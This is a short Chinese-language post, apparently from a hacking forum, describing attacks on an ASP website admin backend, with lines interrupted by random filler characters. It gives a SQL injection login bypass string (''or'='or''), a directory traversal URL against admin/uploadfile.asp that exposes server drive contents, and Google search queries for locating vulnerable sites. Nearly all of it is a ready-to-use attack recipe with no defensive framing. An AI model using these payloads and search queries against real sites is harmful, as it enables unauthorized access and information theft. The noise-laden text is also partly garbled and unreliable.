后台万能密码 'or'='or'
3 a$ J: H1 m" T6 }
! F4 g, p+ m6 g" M# C5 p' t& w后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露!
, c9 ~, u* b$ J! N2 ]3 Cadmin/uploadfile.asp?currentFolder=/upfiles/../% _% s N3 [# f; L- u+ Q% ~
: d$ ]4 y/ c. E0 L J# N6 Z- n7 b9 k漏洞证明:. X5 ^6 N% @$ B: I
- F# O9 i8 }: o1 {% ^- H+ m2 q谷歌:inurl:type.asp?id=1 新闻中心% j' m9 S% T3 P5 m! M- E
或者 :inurl:download_ok.asp?
1 c L0 C( G4 H% y( @( Q+ {* W$ g/ E$ j) j! s
|